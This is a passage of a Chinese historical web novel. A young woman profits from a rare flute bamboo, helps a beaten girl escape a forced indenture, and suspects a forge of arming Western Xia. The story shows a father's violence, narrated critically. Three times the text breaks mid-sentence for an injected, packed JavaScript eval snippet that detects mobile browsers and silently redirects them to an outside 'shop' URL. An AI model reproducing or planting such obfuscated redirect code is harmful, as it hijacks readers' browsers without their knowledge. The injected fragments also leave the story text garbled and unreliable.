房秀莼立在一旁，半晌未吭声，此时方有了动静。 她先过去扶起阿娘，又拉起小妹，这才抬起头来，直直地盯着房大郎。 那目光叫房大郎心里发怵，不由得退了一步。 他向来有些怕这大姑娘。她那双眼睛看人的时候，像两把刀子，总像能把你里里外外看个通透。 “阿……阿莼，”他嗫嚅着，舌头打了结似的，“你……你莫怨阿爹。阿爹但凡有旁的法子，也不会签那契约……” 房秀莼嘴角微微一扯，不知是笑还是未笑。她往前迈了一步。 “阿爹，有法子的。你莫签便是。”她声音不高，却一字一句清清楚楚，“二叔不是我爹，他签了也作不得数的。” 23. 龙笛材 房大郎脸刷地白了，嘴唇张张合合，竟吐不出一个字来。 “不签也成，你们全家都给我滚！”房二郎厉声喝道，“房家我说了算！” 房大郎哆嗦着看看弟弟，又看看女儿，嚅嚅道：“你……你也听到了……我能不签么？” 房秀莼脚步一滞。 没有泪水，没有哀痛。 “阿爹，”她声音轻得像根羽毛，“为何不能离开？” “离开？”房大郎先是一愣，忽地拔高了嗓门，“离开去喝西北风，你翅膀硬了，便不管爹娘死活了？” “如今便不苦么？还要怎样才算苦？”房秀莼盯着他，眼里有光，“咱们有手有脚，离了二叔便活不成了？” 房大娘似是被这话点醒了，猛地扑过去抱住女儿，哭着连连点头：“大郎，阿莼说得是，咱们走便是。一家人在一起，再苦也甘愿……” “你也跟着疯！”房大郎一巴掌扇过去。 那一巴掌使了十成力气，打得房大娘嘴角渗出血来。房大郎被女儿驳了面子，正无处撒气，逮着软柿子便往死里捏。这一巴掌尚不解恨，又冲上前抬脚便朝房大娘肚子上踢去。 房秀莼来不及多想，一把抱住阿娘，侧身去挡—— 那一脚结结实实踹在她后背上。 只听闷的一声响。房秀莼整个人往前一扑，抱着阿娘撞在院墙根那口破水缸上，脊背咚地撞了上去。她咬紧牙关，喉头一股腥甜涌上来，硬生生咽了回去。后背火辣辣地疼，如剜肉一般，脸霎时白得像纸钱。 “阿莼！”房大娘转身看见女儿那张脸，吓得魂都没了，疯了一般扑向房大郎，“你疯了不成！她可是你亲闺女！” 房大郎被撞得一个踉跄，脸上闪过一丝慌乱，旋即恼羞成怒，高声喝道：“亲闺女？她眼里有我这个亲爹？那张嘴，恨不能把我活吃了！” 他指着房秀莼，手指头抖得厉害：“行，你要走是吧？走啊！我不走，我倒要看看你们娘俩出了这个门，能活几天！” “且慢。” 房二郎一抬头，瞧见姜南绍从人群里走出来，脸色刷地变了，下意识抱着那条伤胳膊往后缩了缩。 姜南绍没看他，径直走到房秀莼跟前，蹲下身去。 她未发一言，伸手在秀莼后背轻轻按了按。秀莼疼得倒抽一口凉气，却咬着牙没喊出声。 “骨头无碍。”姜南绍扶着她站起来，目光这才慢悠悠地落到房大郎身上。 那眼神有些眼熟——跟自家大姑娘看他时一模一样，冷冷的，带着一股说不清道不明的轻蔑。房大郎被她这般盯着，浑身不自在，往后退了一步，又觉着丢了脸面，便梗着脖子道：“你、你看什么看？我管教自家闺女，关你什么事？” 姜南绍一副“你也配”的神情，连眼皮都没抬一下，只转向柳牙婆问道：“契约签了？” 柳牙婆讪讪一笑：“还、还没……”眼珠子转了转，“姑姑，您这是？” “妈妈，听我一句，缓两日。”姜南绍声音不高，却透着一股不容商量的劲儿，“让他们想明白了再签。逼出事来，若惹上官非，往后你这生意还做不做得成？” 房二郎眉一竖：“你此言何意？这是我房家的事——” 姜南绍转过头，看了他一眼。 只一眼。 房二郎后半截话生生咽了回去。那日胳膊被拧得咯吱作响的滋味又翻上心头，他脸色青一阵白一阵，嘴唇翕动几回，终是不敢再出声。 房大郎见弟弟怯了，愈发不敢出头，只垂着头，一副窝囊相。 柳牙婆觑了觑姜南绍面色，心下直犯嘀咕——这位金主究竟打何主意，她摸不透，但念着这些时日她在自己身上撒下的银子，这面子总归要给的。 她一拍大腿，脸上堆起笑来：“哎呀，姑姑说得在理。这事是该让他们一家子商量妥了才成。我原是一片好心，今儿倒是我老婆子欠考虑了。” 收了笑，回头瞥了房二郎一眼，声音里带着几分敲打：“罢了，我过几日再来。当家的，到时候可得给我个准信。” 房二郎面色不豫，操起墙角那根竹棍，劈头盖脸朝院中趴着的小黑猫身上抽去，嘴里骂骂咧咧：“整日就知道挺尸，光吃不干，没用的东西！早晚宰了你炖一锅肉！” 谁都听得出来房二郎在指桑骂槐，众人议论纷纷。 柳牙婆觑了觑姜南绍的神色，却见她正盯着那根竹棍出神，眼底极快地掠过一丝光亮。柳牙婆是什么人？惯常在眉眼高低间讨生活的，当下便知这竹棍怕是大有来头。 柳牙婆轻咳一声：“那我过几日再来。届时可别再闹得不成体统，知道的说是家务事，不知道的还当老婆子我逼人为仆呢。” 房二郎挥着竹棍赶人：“散了散了！有什么好看的！” 犹不解恨，又朝人群啐了一口：“晦气！滚滚滚！” 人群一哄而散。柳牙婆顺着人流往外走，回头瞥了一眼——房二郎换了地方摔盆打狗，姜南绍的目光却始终黏在那竹棍上。 柳牙婆心下暗喜。 想来又有银子进账了。 待众人散尽，姜南绍低头看了房秀莼一眼：“能走么？” 房秀莼扶着墙站直了，点点头。 房大郎觉着脸上挂不住，嘴里哼了一声，转身便要回屋。 “阿爹。” 房大郎身形一僵。 房秀莼声音很轻，轻得像从嗓子眼里飘出来的，“你今日踢我这一脚，我记着。不是因为疼，是因为你踢的是护着我的人。” 她顿了顿，声音哽咽：“我多盼着，护着我们的，是阿爹你。” 说完，她转过身，不让他看见自己落泪，用手背抹了抹眼泪，然后扯了扯姜南绍的袖子：“姜姐姐，多谢你。我送你出去吧。” 姜南绍没言语。两人转身跨出门槛，谁也没有回头。 姜南绍走在前头，步子不快不慢。房秀莼跟在后头，后背一阵阵抽着疼，似针扎一般，她却硬咬着牙，一声没吭。 巷子里静得只剩两个人的脚步声。积雪还未化尽，踩上去咯吱咯吱的，在空荡荡的巷子里格外清亮。 “姜姐姐。”房秀莼忽然开口。 “嗯。” “多谢你。”她眼圈泛红，“你若有事，这几日我替你办。我能办妥。” 姜南绍偏过头，觑了她一眼。 小丫头脸上带着几分沮丧，解释道：“再过几日，我怕是就会被典出去了，便不能为姜姐姐做事了。” “你怎知这几日不会有什么变数？”她淡淡道，“我的事不着急，兴许事情顺利，便用不上你了。” 房秀莼脸色灰败，摇了摇头，笑得有些凄凉：“还能有何变数？姜姐姐，我了解我娘，她不会走的。我的命，也就这样了。” “若是有银子呢？你娘也不走？” 小丫头愣了一愣，抬起眼，疑惑地看着她，不知这话是什么意思。 “就当赌一把，看你娘走不走。”姜南绍顿了顿，“若她执意不走，那便是命，谁也救不了你们。” 房秀莼不言语了。 两人又走了几步，快到她那赁下的院子，房秀莼忽然开口道：“姜姐姐，我阿爹从前不是这样的。” 姜南绍未应声。 “小时候，他还抱过我，给我买过糖。”房秀莼的声音低下去，似飘在风里的雪沫子一般，无声无息，“后来……后来不知怎的，就变成如今这般了。” 姜南绍停住脚步。 巷口的风灌进来，冷得人直缩脖子。 她想起很久以前的自己——从前的模样与后来的模样，竟像换了个人似的。 “人都会变。”她喃喃道，声音被风吹得七零八落，不细听便听不分明，“有人往好处变，有人往坏处变。你阿爹选的是后一种。” 房秀莼抬起头，用那双眼睛望着她：“那我呢？我日后会变么？会变成什么样？” 姜南绍低头看着她。 那双眼睛黑白分明，泛着些红，其中却无一丝惧色。 她忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527896|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地想起周至语那句话：那丫头和她当年一样。 房秀莼又何尝不是与她一样。 “你想变成什么样？”她不觉柔声问道。 房秀莼想了想，认真道：“我想变成姜姐姐这样的人。” 姜南绍移开目光。 “别学我。”她抬脚便走，“我不是什么好人。” 房秀莼追上去两步，与她并肩：“可我觉得你是。” 姜南绍脚步顿了顿，没回头。 “你回去吧，不用送了。”她抬手指了指前头，“只这几步路。” 房秀莼还想说什么，姜南绍却摆了摆手。 “回去与你阿娘说说心里话。若仍是这般，也便死了心，再认命不迟。”她淡淡道，语气里听不出什么情绪，“回吧。” 翌日，窗外天才蒙蒙亮，她便醒了，躺在榻上睁眼盘算了一阵，把今日要办的事在心头过了一遍。 她原本今日打算去胡记铁铺探一探究竟的。那铺子透着古怪，她惦念了好几日，却一直抽不开身。偏巧云来先生挑了今日召见，事有轻重缓急，只得另作安排，让周至语先去探探那胡铁铺。 她起身披了衣裳，推门望了望天色，晨雾已散，倒是个赶路的好时辰。 正堂里，周至语正吃着汤饼，见她进来也不吱声，低头只顾吃自己的。 桌案另一头搁着一碗汤饼，还冒着热气。 姜南绍心头微热——两人相处向来如此，半句客套也无。她也不多言，在对面坐下，端起碗便吃，一面将这几日探得的消息拣能说的说了：胡记铁铺的蹊跷，多半与闹鬼的宅子脱不了干系。至于那假布防图，她仍是只字未提。 “就这些？”周至语停了筷子，抬眼问道。 姜南绍没接话。周至语也不急着追问。 她晓得这人的脾性——想说的自会张嘴，不想说的，拿刀也撬不开。与其费那口舌，不如自己去查个分明，看她葫芦里究竟卖的什么药。 两人又说了几句，姜南绍站起身来，收拾了碗碟去洗。 随后，她把散着的长发拢了拢，三两下绾成个利落的高髻，一根木簪斜斜插紧，又取了件墨青色的褙子披上。收拾停当，抬脚便往外走。行至门口，忽又回头。 “师姐，”她顿了顿，“探那胡记铁铺的底细，你多留些神，恐非寻常。若有所发现，不可妄动，等我回来再作计较。” 周至语哼了一声，算是应下。两人平日虽嘴上不和，行事倒还有些默契。 姜南绍不再多言，牵了马，推开院门，身形没入巷口的霜露之中。 姜南绍还有桩赚银子的大事要办。去见云来先生，怎能不备一份厚礼？ 她得故意去柳牙婆的牙行露个面。 若她所料没错，依那婆子的性子，她今日应是会来寻她兜售那根笛材。可她今日不得空，不便让那婆子找上门来，便索性主动现身，让她瞧个正着。 转过街角，果不其然——柳牙婆正从牙行里探出头来，一瞧见她，脚下生风似的迎上来，直直挡了去路：“哎哟，这不是姜姑姑么！可巧了，老婆子正要去寻你呢。” 姜南绍暗自好笑：这婆子遇着赚银子的差事，倒真是利落得很。 姜南绍假意停下脚步：“妈妈寻我何事？” “自然是好事！”柳牙婆笑得合不拢嘴，说话间将怀里抱着的长布囊递到她跟前，“姑姑瞧瞧这里头的东西，可是件宝贝呢，看可合你心意。” 柳牙婆嘴角泛着白沫，说得唾星四飞：“我得着这宝贝，头一个就想到姑姑您了。您是识货的，快瞧瞧。” 姜南绍接过布囊，一面解着绳索，一面漫不经心地问：“什么宝贝？” 柳牙婆弓着背，腰弯似虾，满脸堆笑：“好东西，姑姑你看了便知。老婆子可是费了好大一番气力才弄到手的，一得着便即刻想到了你。你瞧瞧，可还入你的眼？” 姜南绍从布囊里抽出那根竹棍，眉间几不可察地蹙了蹙，随即露出嫌弃之色：“这不就是根寻常笛材？” 24. 各取所需 柳牙婆急了：“哎哟姑姑，这可不是寻常笛材，是世间罕有的好东西！” 姜南绍目光冷冷一扫，将那竹棍连同布囊一同塞回她怀里，轻哼一声：“拿这物事糊弄谁？什么货色都往我面前送，妈妈莫不是还想骗我一回？” 柳牙婆脸色一变，急得直跺脚：“我怎敢骗姑姑！我的好姑姑哎，你是有本事的人，老婆子供你还来不及呢。赁房子那回是我有眼不识泰山，冲撞了你，你还记着那桩仇？前几回与姑姑的买卖，你还不满意？你再细细瞧瞧，这真是货真价实的好东西！” 姜南绍心下暗笑。给她几回甜头，她便不知南北了。这回连本带利，总要从她身上讨回来。但面上仍不露声色，只淡淡道：“不必看了。一眼便知并非上好的笛材。” 柳牙婆瞅了瞅手里的竹棍，心下犯起嘀咕：莫非……弄错了？ “多少钱淘来的？”姜南绍睨了她一眼，“谁告诉你这是什么好货色？妈妈怕是着了人家的道了。”她啧了两声，像是连价钱都懒得听，“我还有事，先走了。” 说罢，抬脚便走。 柳牙婆差点脱口而出：让我着道的人可不就是你么！ 话到嘴边又生生咽了回去。她心下又犯起嘀咕——莫非当时姜南绍看的不是这根竹棍，而是房二郎身上别的什么物件？难道真是自己老眼昏花，看岔了？ 自打结识姜南绍这些日子，自己替她张罗了不少买卖，她每回出手都大方，不像缺银子的主儿。难道这回……真是自己弄错了？ 那日房家院里，她分明瞧见姜南绍盯着这竹棍出神，眼神里那丝光亮，她看得真真切切。当下便认定此物必是不凡，于是当日又折回房家，从那不识货的房二郎手里，只花了十文钱便哄了来。 原指望靠这个狠狠赚上一笔的…… 她抬眼一瞧，姜南绍已走出老远。 柳牙婆跺了跺脚，心里又急又恼。眼瞅着到嘴的鸭子要飞，她一咬牙，拎起裙角便追了上去。 “姑姑——等等！”她气喘吁吁地喊，“二两银子给你了！不，一两！你拿去玩玩，权当个玩意儿……” 姜南绍这才停住脚步，回过头，脸上故作不情不愿之状，随手摸出五十文给她：“若非不是瞧在妈妈之前帮我许多，这竹棍我万不能要，五十文，不能再多了。” 云来先生正蹲在火池边烧着笛材，听见脚步声，抬眼瞧见姜南绍拎着个布包进来，眉头微微一蹙：“来了？手里拿的什么？” 姜南绍弯了弯嘴角，将包袱抛过去：“为送你这份大礼，我可费了不少气力。” 云来先生接住，解开布包，将那节笛材托在掌心细细端详。只片刻，他眼睛便亮了起来，连连点头：“好好好！果真是上乘货色！” 他翻来覆去地看，简直爱不释手，嘴里啧啧称奇：“我活了这把年纪，还不曾得过如此好的笛材——这可是做龙笛的好材料！” 老头子手指微微发颤，声音里压不住的激动：“这材料做出来的龙笛……我连想都不敢想。她必是欢喜得很。” 姜南绍眉梢微微一挑，那句“她必是欢喜得很”轻轻滑过耳畔。她只作没听到，也不多问，笑道：“我便知道先生必定喜欢。” “哪儿得来的？”云来先生眼睛似粘在笛材上，头也不抬。 姜南绍摊开手：“你管我从哪儿得来的。只管给银子便是。” 云来先生得了宝贝，心情大好，也懒得与她计较，转身进屋取了一袋银两出来，往她手里一塞，仍激动着：“拿去，多少钱都换不来的好东西。” 姜南绍低头数着钱袋里的银子，眉眼间漾开笑意。一老一少各得其所，屋里倒弥漫着几分喜气。 “对了，师父让我带话给你，”姜南绍一边数钱一边说，“莫只顾着烧笛，莫误了要紧的正事。” 云来先生面色微微一沉，可怀里那节笛材实在可心，压不住的喜气又从眉梢眼角冒出来。 他摆摆手，眉开眼笑地应道：“知道了知道了，都安排妥当了。放心，我又不饮酒，误不了事。” 顿了顿，又正色叮嘱她：“你也是，近来莫顾着赚钱，低调些，大意不得。” 姜南绍瞥见他神色的变化，心里明白——这事与她关系甚大。等了五年，该来的终究要来了。 可她谈不上多激动。 五年的工夫，早已把那些该有不该有的情愫都磨成了茧。此刻那茧子厚厚地覆在心上，任她怎样用力压上去，也觉不出疼了。 姜南绍已将银两收拾妥当，揣进怀里。老头子就差把这笛材供上桌了，一老一少脸上都掩不住喜色。 云来先生的弟子卢坞在一旁掩嘴笑道：“绍儿姑姑，你俩倒真像是一家人。” 他吸了吸鼻子，“你和师父身上的味儿都一样，那份欢喜，深浅一般。” 卢坞本事大，鼻子灵光，这世上所有的气味都逃不过他的鼻子。听他一说，姜南绍颇感兴趣：“是什么样的味儿？” 卢坞回想了一下该如何比出来：“就像那日头晒透后热烘烘的干草味儿。” 姜南绍想了想，点头道：“穷人的欢喜，就是日头晒出来的，不花钱，却金贵。可云来师父不缺钱，怎的也是这个味儿？” 卢坞闻言笑了笑，心想：师父怎的不是这味儿了？他不就是个渴望人爱的穷人么。 这话他没说出口，只是嘴角微微一弯，垂下眼去。 姜南绍似也一下想透了这层道理，两人相视一笑。 她起身倒了盏茶，抿了一口：“今日的茶味道极好。”说着，正了正神色，“这几日我是不是该在匠巷候着，不可外出了？” “你知道就好。”云来先生拂了拂袖，俯身撩起衣摆，缓缓落座，又伸手抚平膝上衣褶，这才端起茶盏，细细抿了一口，发出一声极满足的轻叹——心情显然不错。 “这几日莫要外出，待在屋里，等知府的人来接。”他搁下茶盏，“我都安排妥当了。入府之后，不可莽撞，一切小心为上。” 他唤来暗卫，两人以茶水沾指，在桌上画图比划，将经过细细交代了一遍。末了又叮嘱道：“此事颇为凶险，变数颇多。务必机灵些，随机应变。” 说得口干，他又斯斯文文地抿了口茶，轻轻将茶叶吐在细骨小碟里：“等了这么些年，若再生变故，又得从长计议。上头可没那般耐心，保不齐要咱们做些出格的事来——那就难看了。” 姜南绍心里嗤了一声：附庸风雅，装给谁看？他那狠辣起来的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527897|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，她又不是没见过。 她心中冷笑，面上却恭恭敬敬地颔首：“我也想有个好结果。必当尽心竭力办好此事，请先生放心。” 云来先生终于放下茶盏，双手拢在宽大的袖中，皱着眉凝神思索。 姜南绍伸手从骨碟里拈了块蜜冬瓜鱼儿，放进嘴里。每次来他这儿，总见摆着这碟点心，却从不见他动过。 云来先生顺着她的手看过来，眉头微微一蹙。 姜南绍险些噎住，慌忙咽下口中点心，站起身来作了个揖：“先生莫怪，是我唐突了。” 看在龙笛材的份上，老头子不欲与她计较。他摆摆手：“爱吃便全都拿去。”随即吩咐婢女取了油纸，将那碟蜜冬瓜鱼儿仔细包好，递给她。 姜南绍笑着接过，道了谢。她哪里看不出老头子的嫌弃——这点心摆在那儿跟供品似的，她动了，便算污了，索性全给了她。 果然，桌上很快又摆上一盘新的蜜冬瓜鱼儿，透着细细的桂花香，瞧着极是诱人。 云来先生捋着胡须，一手轻轻扇动，闭目嗅着那盘中新点心的果香，深深吸了一口，脸上漾开满足的笑意，嘴里发出一声悠悠然的轻叹。 姜南绍打了个寒噤。 她把油纸包往袖子里塞了塞，起身告辞。 云来先生还沉浸在那一碟点心的果香里，只摆了摆手，连眼皮也未抬一下。 姜南绍推门出去。 外头的风灌进来，如刀割般打在脸上。 她拢了拢袖子，牵着马朝前走。行出一段，低头看了看那油纸包，心里不痛快，一扬手，头也不回地扔给了路边那只野狗。 姜南绍牵着马走进匠巷，远远便瞧见房秀莼倚在自家院门口，手里握着根长长的树丫，有一下没一下地胡乱比划。一见她身影出现在巷口，那丫头扔了树丫便冲过来，一把接过缰绳：“姜姐姐，你去哪儿了？” “你在等我？家里商量好了？” 秀莼吸了吸鼻子：“嗯。我娘不肯走。她说阿爹再不济，也是我阿爹，咱家断不能一家分成两家。” 姜南绍“哦”了一声，脸上并无意外——早料到的结果。 “你有何打算？” “我一人走。”她心口闷闷地疼，赌气道，“既没人顾我死活，我便走了罢。是死是活，是我的命。” “你倒还能认命。”姜南绍睨了她一眼，“你若真认命，就该洗净了等着被卖。” 房秀莼想笑，却笑不出：“那能如何？等着被卖么？我不甘心。” “这几日你再想想别的法子罢。我会同柳牙婆说好，多宽限些时日。”姜南绍顿了顿，“家里可有人在？” “阿爹喝醉了，还躺着呢。小妹秀青去田里给阿娘送水了。二叔一家去二婶娘家了。” “那便里头说话。”姜南绍朝房家大院扬了扬下巴。 两人进了院子，秀莼把马拴到牛棚里。姜南绍转身掩上院门。秀莼扯过一条长凳，掸了掸灰，招手让她坐。 姜南绍不坐。她环顾四周，见无旁人，便从怀里掏出钱袋，取出几张银票，塞进秀莼手里。 “我先前将这八十两银子换成了银票，便于你收着。藏好了，万勿叫你二叔和你阿爹知道。” 25. 筹谋 秀莼眼睛倏地瞪圆了，面露迟疑：“这么多钱……给我的？” “这原就是你的。”姜南绍压低了声音，“无须有负担，这钱是你该得的。” 秀莼愈发糊涂：“这是何意？” 姜南绍语速甚快：“我长话短说。你二叔常抽你们的那根竹节，乃上佳烧笛之材。我当日见了便暗暗留心，未作声张。你二叔不识货，我便施了些小计，引柳牙婆上当。她那头从你二叔手里贱价得来，我这头从她那儿费了些小钱购得，转手售得好价。”她顿了顿，“说起来，这也是你们房家的东西。所以，这钱本当有你一半。” 秀莼这才明白过来，脸上漾开喜色：“原来那竹节竟是个宝贝！那是我小妹偶然拾得，原本也不是二叔的。” 姜南绍点点头：“既如此，你便安心收下这银子。你二叔心思不正，你阿爹又懦弱，一味只会忍让，实在不值得你娘托付。万一有一日你阿娘想通了要离开，总得有傍身的银子，也不至让你们日子太艰难。”她又不放心地叮嘱道，“这银子的事，先莫告诉你阿娘。等她真个想通了再说——就怕她心肠软，一时嘴快跟你爹漏了口风，节外生枝。”她语气淡淡，“此事你也无须谢我。我得了我那一半，这一半该是你的。咱们两不相欠。” 秀莼听罢，心里有些不是滋味——难过姜南绍与她分得这般清楚。可转念一想，又欢喜起来。 她晓得，这银子若姜南绍一人独得了，也是理所应当的。分明是她存了好心，分了一半给自己，做了好人却偏要装得泾渭分明。 姜姐姐本就是这般性子。 于是她笑了笑，道：“姜姐姐自是不欠我。我欠你便是。” 姜南绍实不愿与她牵扯过甚，摇了摇头，既已交代妥当，便要去牵马回去。 忽听身后房秀莼道：“姜姐姐，这银子，我会还你的。” 姜南绍没回头，挥了挥手：“随你。” “我真的会还的。”秀莼追上去两步，与她并肩，“我接了这钱，却晓得这银子不是我的。我能挣钱，必会还你。”她顿了顿，声音轻下去，“姜姐姐，我不想与你两清。” 姜南绍步子一顿，转过身来盯着她。面上看不出什么表情，只道：“你记着我的话，往后凡事须得靠自己。你我的关系，止于交易。明白么？” 房秀莼眼里蓄满了泪，脸上却带着笑：“我明白你的意思。”她一字一顿道，“往后——我自有分寸。必不会再麻烦姜姐姐半分。” 她眼中不见委屈，只有一股倔强的坚毅。她冲着姜南绍，咧开嘴，笑得有些难看：“姜姐姐，你放心。往后我过得再难，也不必再瞧我一眼。你信我，我定能过上我要的日子。” 姜南绍无甚表情地看了她一眼，点了点头。牵了马，没再回头，大步出了房家大院。 她牵着马回到自家院门口，推开门，正堂门大敞，周至语正在院中练剑。 听见动静，她并未停下，只淡淡打了个招呼：“回来了？” “嗯。”姜南绍将马牵进马厩，添了些草料，掸了掸身上的灰，这才走过来舀水净手。 周至语终于收势，将剑还鞘，道：“那房家丫头方才来找你了，可曾碰见？” “嗯。” 周至语沉吟片刻，又问：“那丫头还要被典出去么？” “我也不知。”她神情冷淡，“各人有各人的命，旁人插手不得。” 周至语欲言又止，终是道：“若是能帮……便帮一帮罢。” 她顿了顿，解释道：“女子在这世上本就不易。” 周至语觉着姜南绍那道目光紧紧黏在自己脸上，有些不自在。 姜南绍没接话，只从袖中摸出个油纸包，递了过去。 周至语接过来，打开一看，微微一怔：“蜂蜜凉粽子？哪来的？” “给你买的。你不是爱吃这些甜口的么。” 周至语眉眼顿时亮了起来，嘴角漾开一个小梨涡，面色也明媚了几分。她扯了一小块塞进嘴里，嚼了嚼，啧啧赞道：“我早听说秦州的蜂蜜凉粽子好吃，果然味道极好。” 姜南绍未接此言，只问：“胡铁铺那边，探得如何？” 周至语脸色一沉，将剑搁在一旁，咽下口中吃食，压低声音道：“那铁铺着实有些古怪。那铺子明面上打些寻常农具、马蹄铁，可我蹲了大半日，进出的不见几个正经庄稼人。倒是见着好些蕃人面孔，打扮不似汉人，进去时两手空空，出来时怀里皆鼓鼓囊囊的，用布包着，瞧不清是什么。” 姜南绍眸光微动：“可看清那布包的形状？” “长条形。”周至语比划了一下，“约莫这么长，这么宽，像是——”她顿了顿，“我瞧着倒像是刀剑的尺寸。” 姜南绍没说话，只盯着院里那棵枣树想事。 周至语继续道：“还有一事。我绕那铁铺院墙走了一遭，发现后院门口地上洒落了些黄土，不多，似是未扫净遗下的。”她压低了声音，“便向邻里打探了一番，听闻半夜有人撞见那家往外担东西，我料想所担之物应是黄土。” 姜南绍目光一凝。 周至语一面嚼着口中吃食，一面道：“我打算今夜入院中去探一探，明日再到附近寻寻线索。” “且先停一停。”姜南绍摇摇头，“云来先生交待了，近来须以正事为重。这几日莫要出门，先缓一缓。我明日便去玉泉宫向师父禀报一声，会尽快回来。” “既如此，那便先缓缓罢。”周至语点了点头。 姜南绍沉默片刻，忽问：“这胡铁铺在何街巷？” “是了，”周至语一拍大腿，“你不提我倒忘了这茬。我早上绕了一圈才发现，这胡铁铺竟在咱院子的后头。” 周至语眉头一皱：“你说会不会，那些装神弄鬼的东西，就是从胡铁铺来的？莫非这铁铺与那闹鬼的宅子真有牵连？” 姜南绍忽然想起什么，笑了笑：“咱们这两间屋子挖了地道的土，应是从胡记铁铺那后院运出来的。” “他们可不只是装神弄鬼。”姜南绍低头思索，“那日我在马市，听人说有一回风大，一队外地人的车帘子掀起来一角，看着像是长条状的油布包裹，与你所言运送之物形状大小一般无二。那铺子也是铁铺，做这些勾当，掩人耳目岂不更便利？” 周至语盯着她，目光多了几分探寻：“你让我盯这铁铺，到底在怀疑什么？” 姜南绍未立刻答话，只拿眼瞅着她，似在琢磨什么。 周至语心里一惊，忽有所悟：“你是在怀疑有人暗地里打造兵器？” 姜南绍不接话，反问道：“你还记不记得，咱们刚住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527898|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来那晚，袭击你的那些人使的是什么刀？” 周至语拧眉回想，面色渐渐凝重起来。 “那些刀……”她缓缓道，“确实不似寻常货色。夜里黑，瞧不真切，只觉刀刃窄，微微带弧，劈砍起来吃劲深，像是——” “像不像西夏‘铁鹞子’的夏人刀？” 周至语接过话头，声音沉下去：“却又不能全然对上，似乎轻巧了许多，更像是给刺客使的。” 两人对视一眼，都从对方眼中瞧出了些东西。 周至语沉默半晌，方开口道：“你是说，这秦州城里，有人在偷偷给西夏人打造兵器？” 姜南绍未答话，只抬头望向远处，喃喃道：“恐怕不止如此。” “这几日，”她忽然道，“那铁铺你先莫管了，低调些，莫惹人注意。咱们就在屋里等着知府的人上门来请，旁的事暂且放一放。” 姜南绍打了个呵欠，也觉着乏了：“你慢慢吃罢，就爱这甜的。我去收拾收拾沐浴，明日一早去见师父。”说着抬步跨过门槛，掀帘进了里屋。 周至语低头看了看手里的油纸包，拈起一块，放进嘴里。 甜的。姜南绍往常总说甜得腻人，可自己却爱得紧。 她把油纸重新包好，搁在一旁。 风从院门缝里灌进来，带着丝丝寒意。 她坐在门槛上，望着天色，心里忽然泛起些说不清的滋味，怪怪的，心头竟觉着一丝暖——这人倒记得自己爱吃甜的。 这可是头一回，她主动给自己买零嘴。 牙上好似沾了粒糯米，她伸舌舔了舔，又甜又糯。 好似这人，也没那般讨厌了。 姜南绍到玉泉宫时，听小童说吴山娘已在静室中闭关清修数日，一步未出。 她跟在小童身后，听那孩子脆生生地在门外通传：“吴女冠，姜小女冠来了。” 吴山娘眼睑微垂，并未睁眼，只淡淡道：“进来罢。” 门轻轻推开。姜南绍跨进室内，见吴山娘盘膝坐于蒲团之上，一根素简的乌木簪将灰白相间的发丝尽数绾起，纹丝不乱，严整得不见一缕散落。 她上前一步，躬身抱拳：“师父。” 吴山娘纹丝不动，良久，方缓缓抬起眼帘，目光落于她身上。 “来了。”她语气平缓，“一人来的？你师姐呢？” “云来先生吩咐这几日不宜外出。”姜南绍垂首道，“弟子恐后面几日不能上山，怕师父惦记，特来禀明情形。” 吴山娘沉吟片刻，目光微动。 “入知州府一事，我思虑再三，还是让你师姐留在住处罢。”她缓缓道，“你一人去便是。一人行事，反倒便宜些。”顿了顿，微微摇头，“此事须万分慎重。你师姐那性子……还是不去为好。” “但凭师父作主。” 吴山娘微微颔首，又问：“云来先生可有什么话？这次……能成事？” “请师父放心。”姜南绍垂首应道，“先生已安排妥当。弟子也当尽力而为，必不辱命。” “我知你必会拼尽全力。”吴山娘声音沉下来，“国仇家恨，若不得报，你我师徒二人，此生终难消解。” 话音未落，她手中拂尘骤然一挥——只听“砰”的一声闷响，右侧经案应声裂开一道细缝。 26. 知州府 吴山娘面上极力维持着平静，双眼虽已重新阖上，眼睑仍微微颤动。 姜南绍深深一揖，脊背低伏：“徒儿残生，便为此而活。师父宽心。” 吴山娘缓缓睁眼，眼底已不见半分波澜，神色反倒柔和下来，她拍了拍身侧的蒲团，轻声道：“来，陪为师坐会儿。” “是。” 姜南绍在她身侧的圆蒲团上落座，轻吸一口气，便闻见一股极淡的草木香气，清冽幽远，是师父身上常有的味道。 “你上回练功时受的伤，可好全了？” 吴山娘极少用这般轻柔的语气对她说话。姜南绍一时不惯，声音不由生硬了几分：“好全了。劳师父挂心，不会耽误正事的。” 